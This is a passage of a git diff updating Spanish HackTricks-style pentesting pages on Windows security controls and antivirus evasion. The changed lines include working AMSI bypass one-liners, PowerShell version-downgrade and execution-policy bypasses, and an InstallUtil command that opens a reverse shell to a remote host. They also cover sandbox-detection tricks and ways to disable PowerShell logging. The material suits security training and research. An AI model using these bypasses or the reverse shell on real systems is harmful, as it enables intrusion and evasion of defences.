aplicaciones** de Microsoft y da a los administradores del sistema control sobre **qué aplicaciones y archivos pueden ejecutar los usuarios**. Proporciona **control granular** sobre ejecutables, scripts, archivos de instalación de Windows, DLLs, aplicaciones empaquetadas y instaladores de aplicaciones empaquetadas.\ Es común que las organizaciones **bloqueen cmd.exe y PowerShell.exe** y el acceso de escritura a ciertos directorios, **pero todo esto se puede eludir**. -### Verificar +### Verificación Verifique qué archivos/extensiones están en la lista negra/lista blanca: -```powershell +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -37,7 +37,7 @@ C:\windows\tracing - **Reglas mal escritas también podrían ser eludidas** - Por ejemplo, **``**, puedes crear una **carpeta llamada `allowed`** en cualquier lugar y será permitida. - Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones de ejecutables de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. -- **La imposición de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**. +- **La aplicación de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**. - Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Almacenamiento de Credenciales @@ -103,14 +103,14 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del **flujo de datos alternativo** $EFS del archivo encriptado. Cuando se necesita la desencriptación, se utiliza la **clave privada** correspondiente del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del **flujo de datos alternativo** $EFS del archivo encriptado. Cuando se necesita la desencriptación, se utiliza la correspondiente **clave privada** del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System). **Escenarios de desencriptación sin iniciación del usuario** incluyen: -- Cuando archivos o carpetas se mueven a un sistema de archivos no EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), se desencriptan automáticamente. -- Archivos encriptados enviados a través de la red mediante el protocolo SMB/CIFS se desencriptan antes de la transmisión. +- Cuando los archivos o carpetas se mueven a un sistema de archivos no EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), se desencriptan automáticamente. +- Los archivos encriptados enviados a través de la red mediante el protocolo SMB/CIFS se desencriptan antes de la transmisión. -Este método de encriptación permite **acceso transparente** a archivos encriptados para el propietario. Sin embargo, simplemente cambiar la contraseña del propietario e iniciar sesión no permitirá la desencriptación. +Este método de encriptación permite **acceso transparente** a los archivos encriptados para el propietario. Sin embargo, simplemente cambiar la contraseña del propietario e iniciar sesión no permitirá la desencriptación. **Puntos Clave**: @@ -119,7 +119,7 @@ Este método de encriptación permite **acceso transparente** a archivos encript - La desencriptación automática ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red. - Los archivos encriptados son accesibles para el propietario sin pasos adicionales. -### Verificar información de EFS +### Ver información de EFS Verifique si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\\appdata\roaming\Microsoft\Protect` @@ -134,7 +134,9 @@ Este método requiere que el **usuario víctima** esté **ejecutando** un **proc #### Conociendo la contraseña del usuario -{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %} +{{#ref}} +https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files +{{#endref}} ## Group Managed Service Accounts (gMSA) @@ -146,7 +148,7 @@ Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar - **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA admiten la ejecución de tareas programadas. - **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount de la computadora o en el nombre DNS, simplificando la gestión de SPN. -Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe estar autenticada con 'Sealing & Secure'. +Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe ser autenticada con 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png) @@ -160,7 +162,7 @@ Además, consulta esta [página web](https://cube0x0.github.io/Relaying-for-gMSA ## LAPS -La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de contraseñas de administradores locales. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma central en Active Directory. El acceso a estas contraseñas está restringido a través de ACLs a usuarios autorizados. Con los permisos suficientes otorgados, se proporciona la capacidad de leer las contraseñas de administrador local. +La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de contraseñas de Administrador local. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma central en Active Directory. El acceso a estas contraseñas está restringido a través de ACLs a usuarios autorizados. Con los permisos suficientes otorgados, se proporciona la capacidad de leer contraseñas de administrador local. {{#ref}} active-directory-methodology/laps.md @@ -168,15 +170,15 @@ active-directory-methodology/laps.md ## Modo de Lenguaje Restringido de PowerShell -PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más. +PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitiendo solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más. ### **Verificar** -```powershell +```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### Bypass -```powershell +```bash #Easy bypass Powershell -version 2 ``` @@ -196,7 +198,7 @@ Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/ ## Política de Ejecución de PS Por defecto, está configurada como **restringida.** Principales formas de eludir esta política: -```powershell +```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - @@ -246,5 +248,4 @@ El SSPI se encargará de encontrar el protocolo adecuado para dos máquinas que windows-security-controls/uac-user-account-control.md {{#endref}} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 8ef8ba0dc..d91839a03 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -12,7 +12,7 @@ Es común que las organizaciones **bloqueen cmd.exe y PowerShell.exe** y el acce ### Verificar Verifique qué archivos/extensiones están en la lista negra/lista blanca: -```powershell +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -105,7 +105,7 @@ sc query windefend EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del **flujo de datos alternativo** $EFS del archivo encriptado. Cuando se necesita la desencriptación, se utiliza la **clave privada** correspondiente del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Los escenarios de desencriptación sin iniciación del usuario** incluyen: +**Escenarios de desencriptación sin iniciación del usuario** incluyen: - Cuando los archivos o carpetas se mueven a un sistema de archivos no EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), se desencriptan automáticamente. - Los archivos encriptados enviados a través de la red mediante el protocolo SMB/CIFS se desencriptan antes de la transmisión. @@ -119,7 +119,7 @@ Este método de encriptación permite **acceso transparente** a los archivos enc - La desencriptación automática ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red. - Los archivos encriptados son accesibles para el propietario sin pasos adicionales. -### Verificar información de EFS +### Ver información de EFS Verifique si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\\appdata\roaming\Microsoft\Protect` @@ -134,17 +134,19 @@ Este método requiere que el **usuario víctima** esté **ejecutando** un **proc #### Conociendo la contraseña del usuario -{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %} +{{#ref}} +https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files +{{#endref}} ## Group Managed Service Accounts (gMSA) Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras de TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen habilitada la configuración de "**La contraseña nunca expira**", los gMSA ofrecen una solución más segura y manejable: -- **Gestión Automática de Contraseñas**: los gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política de dominio o computadora. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas. +- **Gestión Automática de Contraseñas**: los gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política del dominio o del equipo. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas. - **Seguridad Mejorada**: estas cuentas son inmunes a bloqueos y no pueden ser utilizadas para inicios de sesión interactivos, mejorando su seguridad. - **Soporte para Múltiples Hosts**: los gMSA pueden ser compartidos entre múltiples hosts, lo que los hace ideales para servicios que se ejecutan en múltiples servidores. - **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA admiten la ejecución de tareas programadas. -- **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount de la computadora o en el nombre DNS, simplificando la gestión de SPN. +- **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount del equipo o en el nombre DNS, simplificando la gestión de SPN. Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe estar autenticada con 'Sealing & Secure'. @@ -168,20 +170,20 @@ La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para d ## Modo de Lenguaje Restringido de PowerShell -PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitiendo solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más. +PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitiendo solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell, y más. ### **Verificar** -```powershell +```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### Bypass -```powershell +```bash #Easy bypass Powershell -version 2 ``` En Windows actual, esa elusión no funcionará, pero puedes usar [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Examinar_ -> _Examinar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**. +**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Explorar_ -> _Explorar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**. #### Elusión directa: ```bash @@ -191,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir el modo restringido. Para más información, consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir el modo restringido. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Política de Ejecución de PS Por defecto, está configurada como **restringida.** Principales formas de eludir esta política: -```powershell +```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index c195f6862..0765ab2f1 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -18,7 +18,7 @@ Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero nec - **Ofuscación** -A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que estés tratando de ofuscar. +A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar. - **Herramientas personalizadas** @@ -34,8 +34,8 @@ Te recomiendo encarecidamente que revises esta [lista de reproducción de YouTub El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa actividades maliciosas (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes. - **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de sueño puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo se implemente. -- **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades de los ventiladores, no todo estará implementado en el sandbox. -- **Verificaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga. +- **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox. +- **Comprobaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga. Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, así que puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga. @@ -49,7 +49,7 @@ Como hemos dicho antes en esta publicación, **las herramientas públicas** even Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS? -La respuesta correcta probablemente sea la última. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la más, marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr. +La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea una de, si no la más, señalada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr. > [!NOTE] > Al modificar tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado. @@ -66,10 +66,10 @@ Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho ## Carga lateral de DLL y Proxying -**Carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga(s) útil(es) maliciosa(s) una al lado de la otra. +**Carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga útil(es) maliciosa(s) una al lado de la otra. Puedes verificar programas susceptibles a la carga lateral de DLL usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell: -```powershell +```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck @@ -77,7 +77,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ``` Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar. -Recomiendo encarecidamente que **explores los programas DLL Hijackable/Sideloadable tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable de conocimiento público, podrías ser atrapado fácilmente. +Te recomiendo encarecidamente que **explores los programas DLL Hijackable/Sideloadable tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable de conocimiento público, podrías ser atrapado fácilmente. Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**. @@ -121,11 +121,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!NOTE] -> La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes en una sola herramienta, si es posible, intenta encadenar múltiples técnicas de evasión. +> La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes solo en una herramienta, si es posible, intenta encadenar múltiples técnicas de evasión. ## AMSI (Interfaz de Escaneo Anti-Malware) -AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los antivirus solo podían escanear **archivos en disco**, por lo que si de alguna manera podías ejecutar cargas útiles **directamente en memoria**, el antivirus no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad. +AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, por lo que si podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad. La función AMSI está integrada en estos componentes de Windows. @@ -145,13 +145,15 @@ Nota cómo se antepone `amsi:` y luego la ruta al ejecutable desde el cual se ej No dejamos ningún archivo en disco, pero aún así nos atraparon en memoria debido a AMSI. +Además, a partir de **.NET 4.8**, el código C# también se ejecuta a través de AMSI. Esto incluso afecta a `Assembly.Load(byte[])` para la ejecución en memoria. Por eso se recomienda usar versiones anteriores de .NET (como 4.7.2 o inferiores) para la ejecución en memoria si deseas evadir AMSI. + Hay un par de formas de eludir AMSI: - **Ofuscación** -Dado que AMSI principalmente trabaja con detecciones estáticas, por lo tanto, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección. +Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección. -Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadir. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto algo haya sido marcado. +Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadir. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto se haya marcado algo. - **Evasión de AMSI** @@ -160,13 +162,13 @@ Dado que AMSI se implementa cargando una DLL en el proceso de powershell (tambi **Forzar un Error** Forzar que la inicialización de AMSI falle (amsiInitFailed) resultará en que no se inicie ningún escaneo para el proceso actual. Originalmente, esto fue divulgado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para prevenir un uso más amplio. -```powershell +```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -Todo lo que se necesitó fue una línea de código de powershell para hacer que AMSI fuera inutilizable para el proceso de powershell actual. Esta línea, por supuesto, ha sido marcada por AMSI mismo, por lo que se necesita alguna modificación para usar esta técnica. +Todo lo que se necesitó fue una línea de código de powershell para hacer que AMSI fuera inutilizable para el proceso de powershell actual. Esta línea, por supuesto, ha sido marcada por el propio AMSI, por lo que se necesita alguna modificación para utilizar esta técnica. Aquí hay un bypass de AMSI modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). -```powershell +```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' @@ -181,28 +183,55 @@ $Spotfix.SetValue($null,$true) ``` Ten en cuenta que esto probablemente será marcado una vez que se publique esta entrada, así que no deberías publicar ningún código si tu plan es permanecer indetectado. -**Patching de Memoria** +**Memory Patching** Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com/_RastaMouse/) y consiste en encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código para E_INVALIDARG, de esta manera, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio. > [!NOTE] > Por favor, lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada. -También hay muchas otras técnicas utilizadas para eludir AMSI con PowerShell, consulta [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) y [este repositorio](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas. +También hay muchas otras técnicas utilizadas para eludir AMSI con PowerShell, consulta [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [**este repositorio**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas. -O este script que a través de patching de memoria parcheará cada nuevo Powersh +Esta herramienta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) también genera scripts para eludir AMSI. -## Ofuscación +**Remove the detected signature** + +Puedes usar una herramienta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** y **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para eliminar la firma de AMSI detectada de la memoria del proceso actual. Esta herramienta funciona escaneando la memoria del proceso actual en busca de la firma de AMSI y luego sobrescribiéndola con instrucciones NOP, eliminándola efectivamente de la memoria. + +**AV/EDR products that uses AMSI** + +Puedes encontrar una lista de productos AV/EDR que utilizan AMSI en **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. + +**Use Powershell version 2** +Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneado por AMSI. Puedes hacer esto: +```bash +powershell.exe -version 2 +``` +## PS Logging + +El registro de PowerShell es una función que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para fines de auditoría y solución de problemas, pero también puede ser un **problema para los atacantes que quieren evadir la detección**. + +Para eludir el registro de PowerShell, puedes usar las siguientes técnicas: + +- **Desactivar la transcripción de PowerShell y el registro de módulos**: Puedes usar una herramienta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para este propósito. +- **Usar PowerShell versión 2**: Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneado por AMSI. Puedes hacer esto: `powershell.exe -version 2` +- **Usar una sesión de PowerShell no administrada**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para iniciar un PowerShell sin defensas (esto es lo que usa `powerpick` de Cobalt Strike). + +## Obfuscation + +> [!NOTE] +> Varias técnicas de ofuscación se basan en cifrar datos, lo que aumentará la entropía del binario, lo que facilitará a los AVs y EDRs detectarlo. Ten cuidado con esto y tal vez solo aplica cifrado a secciones específicas de tu código que sean sensibles o necesiten ser ocultadas. Hay varias herramientas que se pueden usar para **ofuscar código en texto claro de C#**, generar **plantillas de metaprogramación** para compilar binarios o **ofuscar binarios compilados** como: +- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Es un gran ofuscador de código abierto para aplicaciones .NET. Proporciona varias técnicas de protección como ofuscación de flujo de control, anti-depuración, anti-manipulación y cifrado de cadenas. Se recomienda porque permite incluso ofuscar fragmentos específicos de código. - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador de C#** - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar mayor seguridad en el software a través de [ofuscación de código]() y protección contra manipulaciones. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador. -- [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el 